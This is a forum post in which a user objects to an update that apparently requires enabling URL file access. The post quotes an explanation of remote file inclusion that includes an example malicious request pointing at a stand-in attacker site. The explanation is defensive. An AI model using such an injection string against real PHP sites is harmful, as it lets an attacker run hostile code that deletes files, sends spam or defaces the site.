wtf??? I have to change server settings just for this???? ohhh come on... there has to be another fix for this.
I mean what are you supposed to do if your host doesn't change anything?
also some concerns:
Quote:
By default, URL File Access is disabled because poorly coded or out of date web scripts can be hijacked using remote http:// URL's in include() or require() commands. If, for example, your script was set to include a page name based on the a URL passed to your script such as:
script.php?page=http://bad-hacker-site.com/page.php
if your script.php was set to include($page) this malicious URL could have your script (due to insecure coding) grab the page.php script from a bad site and run it on your site! That script can delete files, send out spam emails, deface your site, and much more... This is why URL file access is disabled by default.
|
so if this new version is to stop some security issue.... why does it need to enable a feature that could possibly turn into its own security risk????